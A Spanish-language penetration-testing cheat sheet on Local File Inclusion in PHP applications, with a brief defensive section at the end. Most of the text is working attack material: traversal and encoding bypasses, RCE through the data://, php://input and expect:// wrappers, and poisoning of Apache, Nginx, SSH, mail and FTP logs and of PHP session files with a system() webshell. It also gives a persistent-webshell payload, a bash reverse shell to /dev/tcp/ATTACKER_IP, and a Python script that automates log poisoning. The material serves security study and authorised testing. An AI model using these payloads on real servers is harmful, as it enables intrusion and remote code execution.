Local File Inclusion (LFI)
LFI ocurre cuando una aplicación web incluye dinámicamente un archivo local del servidor basándose en una entrada controlable por el usuario (típicamente un parámetro de URL), sin validar adecuadamente qué archivo se está solicitando. Esto permite a un atacante leer archivos arbitrarios del sistema y, en varios escenarios, escalar hasta ejecución remota de código (RCE).
http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwdPatrones de código vulnerable
Path traversal directo (el parámetro se pasa tal cual a include()):
include($_GET['language']);Con un directorio base fijo (aún vulnerable si no se valida ../):
include("./languages/" . $_GET['language']);Con un prefijo de nombre de archivo:
include("lang_" . $_GET['language']);Con una extensión añadida al final:
include($_GET['language'] . ".php");Bypasses básicos
Filtros de path traversal no recursivos
Uno de los filtros más básicos contra LFI es un filtro de búsqueda y reemplazo que simplemente elimina las subcadenas ../ para evitar el recorrido de directorios:
$language = str_replace('../', '', $_GET['language']);Como el reemplazo no es recursivo, se puede evadir anidando la secuencia de forma que, al eliminarse ../ una vez, quede otra secuencia ../ válida:
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwdCodificación de caracteres
Si la aplicación bloquea literalmente / o . en la entrada, se puede codificar en URL-encoding (../ → %2e%2e%2f), lo que a menudo evade el filtro si este se aplica antes de decodificar la URL:
http://<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64- Herramientas útiles para esta codificación: Burp Suite Decoder, o cualquier utilidad de codificación URL en línea.
- También existe la doble codificación (
%252e%252e%252f), útil cuando hay más de una capa de decodificación entre el filtro y el uso final del valor.
Rutas aprobadas (whitelist con regex débil)
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}El regex solo exige que la cadena empiece con ./languages/, pero no impide que después contenga secuencias de traversal:
http://<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwdExtensión añadida automáticamente
Truncamiento de ruta (Path Truncation)
En versiones antiguas de PHP (<5.3-5.4, dependiendo de configuración), el sistema de archivos truncaba rutas que excedían cierta longitud máxima, lo que permitía "desbordar" la extensión añadida repitiendo segmentos inocuos:
?language=non_existing_directory/../../../etc/passwd/./././. [repetir "./" ~2048 veces]- Técnica en gran parte obsoleta en sistemas modernos, pero vale la pena probarla en objetivos con PHP muy desactualizado.
Byte nulo (Null Byte)
En PHP < 5.3.4, se podía terminar el payload con un byte nulo (%00) para truncar la cadena antes de que se concatenara la extensión:
/etc/passwd%00Esto hacía que, aunque el código añadiera .php al final (/etc/passwd%00.php), la ruta real usada por el sistema de archivos subyacente fuera solo /etc/passwd, ya que el byte nulo termina la cadena en C (el lenguaje en que está escrito el intérprete de PHP).
- Al igual que el truncamiento de ruta, esta técnica solo funciona contra instalaciones de PHP muy antiguas y sin parchear.
PHP Wrappers y Filtros
PHP ofrece "wrappers" (envoltorios) que permiten tratar distintos protocolos/fuentes de datos como si fueran archivos locales al pasarlos a funciones como include(). Esto amplía enormemente el impacto de un LFI, permitiendo desde lectura de código fuente hasta RCE directa.
Filtros de conversión (php://filter)
php://filter/Existen cuatro tipos de filtros: de cadena, de conversión, de compresión y de cifrado. El más relevante para LFI es el filtro de conversión convert.base64-encode, ya que permite leer el código fuente de archivos PHP sin que el servidor los ejecute (algo que un include() normal haría, mostrando solo el resultado renderizado en vez del código):
php://filter/read=convert.base64-encode/resource=config
php://filter/convert.base64-encode/resource=config- La forma
read=convert.base64-encodees la más confiable, ya que especifica explícitamente la operación (read); la forma sinread=a veces no funciona correctamente según la versión de PHP.
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config"Decodificar el base64 obtenido:
echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -dOtros filtros de conversión útiles:
php://filter/read=string.rot13/resource=<archivo>Comprobar configuraciones peligrosas de PHP vía php.ini
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"Decodificar y buscar directivas peligrosas:
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
# Output esperado:
allow_url_include = Onallow_url_include = Ones el requisito indispensable para poder usar wrappers remotos (http://,ftp://) y lograr Remote File Inclusion (verrfi.md).
Buscar extensiones peligrosas habilitadas:
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep -E "^extension=|^zend_extension="- La presencia de
extension=expecthabilita el wrapperexpect://(ver más abajo), otro vector directo a RCE.
RCE con data:// (sin necesidad de allow_url_include, solo allow_url_fopen)
Codificar un webshell simple en base64:
echo '<?php system($_GET["cmd"]); ?>' | base64
# Output:
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==Pasar el contenido codificado directamente como un "archivo" vía el wrapper data://:
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
# Output esperado:
uid=33(www-data) gid=33(www-data) groups=33(www-data)data://text/plain;base64,<payload>: el navegador/servidor interpreta el contenido después de la coma como el "archivo" a incluir — PHP lo ejecuta como si fuera un script PHP real.
Variante sin base64, con el código PHP directamente en la URL (útil cuando el sistema bloquea/detecta la firma de base64):
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain,<?php system($_GET["cmd"]); ?>&cmd=id'RCE con php://input
Envía el código PHP en el cuerpo de una petición POST, en vez de en la URL — útil para evadir WAFs que solo inspeccionan parámetros GET:
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
# Output esperado:
uid=33(www-data) gid=33(www-data) groups=33(www-data)- Requiere que la directiva
allow_url_includeesté habilitada (a diferencia dedata://, que solo necesitaallow_url_fopen, activado por defecto en la mayoría de instalaciones).
RCE con expect://
Si la extensión expect está instalada, este wrapper ejecuta comandos del sistema directamente, sin necesidad de inyectar código PHP:
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
# Output esperado:
uid=33(www-data) gid=33(www-data) groups=33(www-data)expectno viene instalado por defecto en la mayoría de distribuciones — su presencia es poco común pero, cuando existe, es el vector más directo de todos.
zip:// — LFI a RCE vía archivo ZIP
zip://<archivo.zip>#<archivo interno>- Permite incluir un archivo específico dentro de un ZIP subido previamente al servidor (ver
lfi_file_uploads.mdpara el flujo completo de explotación).
glob:// — Listado de archivos con comodines
glob:///var/www/html/*- Menos usado para RCE directa, pero útil para enumerar archivos en un directorio cuando no se conoce el nombre exacto de un archivo a incluir.
Referencias de wrappers
- https://www.thehacker.recipes/web/inputs/file-inclusion/lfi-to-rce/php-wrappers-and-streams
- https://www.php.net/manual/en/wrappers.php
Log Poisoning — LFI a RCE sin subir archivos
Cuando no es posible subir un archivo directamente ni usar los wrappers data:///php://input (por ejemplo, si allow_url_include está deshabilitado y no hay extensión expect), se puede "envenenar" un archivo de log del servidor con código PHP, y luego incluir ese log vía LFI para que se ejecute.
Concepto General
La idea central del Log Poisoning es simple:
- Identificar logs legibles: Encontrar archivos de log que el proceso del servidor web pueda leer
- Inyectar código PHP: Escribir PHP en un campo que se registre en el log (User-Agent, parámetros GET, credenciales fallidas, etc.)
- Incluir el log vía LFI: Usar la vulnerabilidad LFI para incluir el archivo de log envenenado
- Ejecución: PHP ejecuta el código inyectado
Funciones vulnerables a Log Poisoning
Las siguientes funciones con privilegios de Execute son vulnerables a estos ataques:
| Lenguaje | Función | Lee Contenido | Ejecuta | URL Remota |
|---|---|---|---|---|
| PHP | include()/include_once() | ✅ | ✅ | ✅ |
| PHP | require()/require_once() | ✅ | ✅ | ❌ |
| NodeJS | res.render() | ✅ | ✅ | ❌ |
| Java | import | ✅ | ✅ | ✅ |
| .NET | include | ✅ | ✅ | ✅ |
1. Envenenamiento del Log de Apache (vía User-Agent)
El log de acceso de Apache registra la cabecera User-Agent de cada petición tal cual la envía el cliente. Si se envía un payload PHP como User-Agent, queda escrito textualmente en el log.
Ubicaciones típicas del log de Apache
- Linux (Debian/Ubuntu):
/var/log/apache2/access.log - Linux (RHEL/CentOS):
/var/log/httpd/access_log - Windows (XAMPP):
C:\xampp\apache\logs\access.log - Windows (genérico):
C:\Apache\logs\access.log
Paso 1: Verificar acceso al log vía LFI
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log"Si devuelve el contenido del log, proceder al envenenamiento.
Paso 2: Envenenar con código PHP
Opción A: Con cURL y User-Agent personalizado
curl -s "http://<SERVER_IP>:<PORT>/" -A "<?php system(\$_GET['cmd']); ?>"Opción B: Guardar payload en archivo e incluirlo
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > poison_payload.txt
curl -s "http://<SERVER_IP>:<PORT>/" -H @poison_payload.txtOpción C: Usando burp Suite
- Interceptar una petición GET a la aplicación
- Modificar el header
User-Agenta:<?php system($_GET['cmd']); ?> - Enviar la petición
Paso 3: Incluir el log y ejecutar código
Una vez envenenado el log, incluirlo vía LFI para ejecutar el comando:
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log&cmd=id"Output esperado:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Ejemplo completo de explotación
# 1. Envenenar el log
curl -s "http://target.local:8080/" -A "<?php system(\$_GET['cmd']); ?>"
# 2. Verificar que el payload está en el log
curl -s "http://target.local:8080/index.php?language=/var/log/apache2/access.log" | grep "system"
# 3. Ejecutar comando
curl -s "http://target.local:8080/index.php?language=/var/log/apache2/access.log&cmd=whoami"
# 4. Envenenar nuevamente si necesitas otro comando (los logs se sobrescriben)
curl -s "http://target.local:8080/" -A "<?php system(\$_GET['cmd']); ?>"
curl -s "http://target.local:8080/index.php?language=/var/log/apache2/access.log&cmd=cat%20/etc/passwd"Consideraciones importantes
- Logs enormes: Los archivos de log pueden ser muy grandes y causar demoras o incluso crashes. Ser cuidadoso en entornos de producción.
- Sobrescritura: El log se reescribe constantemente. Si necesitas ejecutar múltiples comandos, debes envenenar el log cada vez.
- Mejor práctica: Usar el payload envenenado para escribir un webshell permanente o enviar una reverse shell:
# Payload para escribir webshell permanente
<?php file_put_contents('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>'); ?>
# Payload para reverse shell (bash)
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"); ?>2. Envenenamiento del Log de Nginx
Nginx también registra los User-Agent headers en sus logs de acceso. La técnica es idéntica a Apache, pero con diferentes ubicaciones.
Ubicaciones típicas del log de Nginx
- Linux:
/var/log/nginx/access.log - Windows:
C:\nginx\logs\access.log
Diferencia clave con Apache
Nginx logs son legibles por usuarios sin privilegios (como www-data) por defecto, mientras que Apache logs requieren permisos elevados. Esto hace que Nginx sea más vulnerable a este ataque en muchos casos.
Explotación
La explotación es idéntica a Apache:
# 1. Envenenar
curl -s "http://<SERVER_IP>:<PORT>/" -A "<?php system(\$_GET['cmd']); ?>"
# 2. Incluir y ejecutar
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/log/nginx/access.log&cmd=id"3. PHP Session Poisoning
La mayoría de aplicaciones PHP utilizan cookies PHPSESSID para mantener estado de sesión. Los datos de sesión se almacenan en archivos en el servidor, frecuentemente en directorios que podemos leer e influenciar.
Ubicaciones de archivos de sesión
- Linux:
/var/lib/php/sessions/ - Windows:
C:\Windows\Temp\ - Nombre del archivo:
sess_<PHPSESSID>(donde<PHPSESSID>es el valor de la cookie)
Paso 1: Identificar el PHPSESSID
Abrir las herramientas de desarrollador del navegador (F12), ir a "Storage" o "Cookies", y buscar la cookie PHPSESSID. Supongamos que el valor es nhhv8i0o6ua4g88bkdl9u1fdsd.
Paso 2: Leer el archivo de sesión
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd"Output típico:
page|s:6:"es.php";preference|s:2:"es";El archivo contiene la sesión serializada. Buscamos un parámetro que controlemos.
Paso 3: Encontrar parámetro controlable
Visitar la aplicación con un parámetro GET controlable que se almacene en la sesión:
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=PAYLOAD_AQUI"Luego verificar si el payload aparece en el archivo de sesión:
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd"Paso 4: Inyectar PHP
Si el parámetro language se almacena en la sesión, enviar PHP code-encoded:
# Enviar payload PHP URL-encoded
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E"
# O simplemente el PHP sin codificación (si no hay validación)
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=<?php system(\$_GET['cmd']); ?>"Paso 5: Ejecutar código
Ahora incluir el archivo de sesión y el código se ejecutará:
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id"Ejemplo completo de PHP Session Poisoning
# 1. Obtener el PHPSESSID de la aplicación (observando cookies)
PHPSESSID="nhhv8i0o6ua4g88bkdl9u1fdsd"
# 2. Leer contenido del archivo de sesión
curl -s "http://target.local:8080/index.php?language=/var/lib/php/sessions/sess_${PHPSESSID}"
# 3. Envenenar con payload PHP
curl -s "http://target.local:8080/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E"
# 4. Ejecutar comando
curl -s "http://target.local:8080/index.php?language=/var/lib/php/sessions/sess_${PHPSESSID}&cmd=whoami"
# 5. Para ejecutar más comandos, repite el envenenamiento
curl -s "http://target.local:8080/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E"
curl -s "http://target.local:8080/index.php?language=/var/lib/php/sessions/sess_${PHPSESSID}&cmd=cat%20/etc/passwd"Consideraciones
- Serialización: Los datos en archivos de sesión están serializados. Asegurarse de que el payload se almacena sin problemas de codificación.
- Múltiples comandos: Similar a los logs, el archivo se reescribe. Considerar escribir un webshell permanente en lugar de ejecutar comandos uno a uno.
4. Envenenamiento vía /proc/self/environ
En sistemas Linux, /proc/self/environ contiene las variables de entorno del proceso actual, incluyendo cabeceras HTTP en configuraciones Apache con mod_cgi.
Requisitos
- Apache con
mod_cgihabilitado (menos común en configuraciones modernas) - Permiso de lectura sobre
/proc/self/environ
Explotación
# 1. Envenenar con cabecera HTTP controlable
curl -s "http://<SERVER_IP>:<PORT>/" -H "X-Custom-Header: <?php system(\$_GET['cmd']); ?>"
# 2. Leer el archivo /proc/self/environ vía LFI
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/proc/self/environ" | grep -o "X-Custom-Header.*"
# 3. Si el payload está presente, ejecutar comando
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/proc/self/environ&cmd=id"Nota: Técnica menos confiable en sistemas modernos. Probar como alternativa cuando los logs no sean accesibles.
5. Envenenamiento de Logs de SSH
Si el servicio SSH es accesible (incluso sin credenciales válidas) y podemos leer su log vía LFI, inyectar PHP en el intento de login fallido.
Ubicaciones típicas de logs SSH
- Linux (Debian/Ubuntu):
/var/log/auth.log - Linux (RHEL/CentOS):
/var/log/secure
Explotación
# 1. Intentar login SSH con usuario=payload PHP
ssh '<?php system($_GET["cmd"]); ?>'@<SERVER_IP>
# El intento fallará, pero el payload queda en el log de auth
# 2. Incluir el log vía LFI y ejecutar
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/log/auth.log&cmd=id"Consideraciones
- Permisos restrictivos: Los logs de auth suelen tener permisos muy restrictivos (solo root). Menos probable que funcione que con logs de Apache.
- Patrón de registro: El nombre de usuario se registra en el intento fallido. Verificar que el payload se escribió correctamente antes de intentar la inclusión.
6. Envenenamiento de Logs de Mail
Si el servidor tiene servicio de mail (SMTP) accesible, enviar un email con PHP en el asunto o cuerpo. El log de mail registrará el contenido.
Ubicaciones típicas
- Linux:
/var/log/mail.logo/var/log/mail/*
Explotación
# 1. Enviar email con payload PHP (usando telnet o herramienta SMTP)
telnet <SERVER_IP> 25
# Una vez conectado:
# EHLO attacker
# MAIL FROM:<attacker@attacker.com>
# RCPT TO:<admin@target.com>
# DATA
# Subject: <?php system($_GET['cmd']); ?>
# .
# QUIT
# 2. Incluir el log vía LFI
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/log/mail.log&cmd=id"7. Envenenamiento de Logs de FTP
Si el servidor FTP es accesible, intentar login con usuario=payload PHP. El log registrará el intento fallido.
Ubicaciones típicas
- Linux:
/var/log/vsftpd.log
Explotación
# 1. Conectar a FTP e intentar login con payload
ftp <SERVER_IP>
# Cuando pida usuario:
# <?php system($_GET["cmd"]); ?>
# (El login fallará)
# 2. Incluir el log vía LFI
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/var/log/vsftpd.log&cmd=id"Log Poisoning en Windows (XAMPP)
La técnica es idéntica a Linux, pero la ruta del log cambia. En servidores Windows con XAMPP (distribución empaquetada muy común en desarrollo):
Ubicaciones en XAMPP
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\mysql\data\<hostname>.logExplotación en XAMPP
# 1. Envenenar el log de Apache de XAMPP
curl -s "http://<SERVER_IP>:<PORT>/" -A "<?php system(\$_GET['cmd']); ?>"
# 2. Incluir vía LFI (note que C: se representa como C: o simplemente cambiar slashes)
# Windows es más flexible con separadores de ruta
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=..\..\xampp\apache\logs\access.log&cmd=whoami"
# Alternativa con forward slashes
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=../../../../xampp/apache/logs/access.log&cmd=whoami"Herramientas y Automatización
Script Python para automatizar Log Poisoning
#!/usr/bin/env python3
import requests
import sys
from urllib.parse import quote
def poison_log(target_url, log_path, payload):
"""Envenenra el log con el payload PHP"""
headers = {'User-Agent': payload}
try:
response = requests.get(target_url, headers=headers, timeout=5)
print(f"[+] Log envenenado: {target_url}")
print(f"[+] Payload: {payload}")
return True
except Exception as e:
print(f"[-] Error al envenenar: {e}")
return False
def execute_command(target_url, log_path, command):
"""Ejecuta comando a través del log incluido"""
params = {
'language': log_path,
'cmd': command
}
try:
response = requests.get(target_url, params=params, timeout=5)
print(f"[+] Comando ejecutado: {command}")
print(f"[+] Output:\n{response.text}")
return response.text
except Exception as e:
print(f"[-] Error al ejecutar comando: {e}")
return None
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"Uso: {sys.argv[0]} <target_url> <log_path> <command>")
print(f"Ej: {sys.argv[0]} 'http://target.local:8080/index.php' '/var/log/apache2/access.log' 'id'")
sys.exit(1)
target = sys.argv[1]
log_path = sys.argv[2]
command = sys.argv[3]
# Payload PHP simple
payload = "<?php system($_GET['cmd']); ?>"
print("[*] Iniciando Log Poisoning...")
poison_log(target, log_path, payload)
# Pequeña pausa
import time
time.sleep(1)
# Ejecutar comando
execute_command(target, log_path, command)Uso
chmod +x log_poisoning.py
python3 log_poisoning.py 'http://target.local:8080/index.php' '/var/log/apache2/access.log' 'whoami'Mejores prácticas defensivas contra Log Poisoning
- Validación estricta: Validar y sanitizar TODAS las entradas de usuario
- Función
include()segura: Usar whitelists en lugar de inputs dinámicosphp$allowed = ['es', 'en', 'fr']; if (in_array($_GET['language'], $allowed)) { include("languages/" . $_GET['language'] . ".php"); } - Desabilitar wrappers peligrosos: En
php.iniallow_url_include = Off allow_url_fopen = Off - Restringir permisos de logs: Los logs nunca deben ser legibles por el usuario de la aplicación web
- Separar logs del webroot: Almacenar logs fuera del directorio de la aplicación web
- Usar funciones seguras: Preferir
require_once()con rutas predefinidas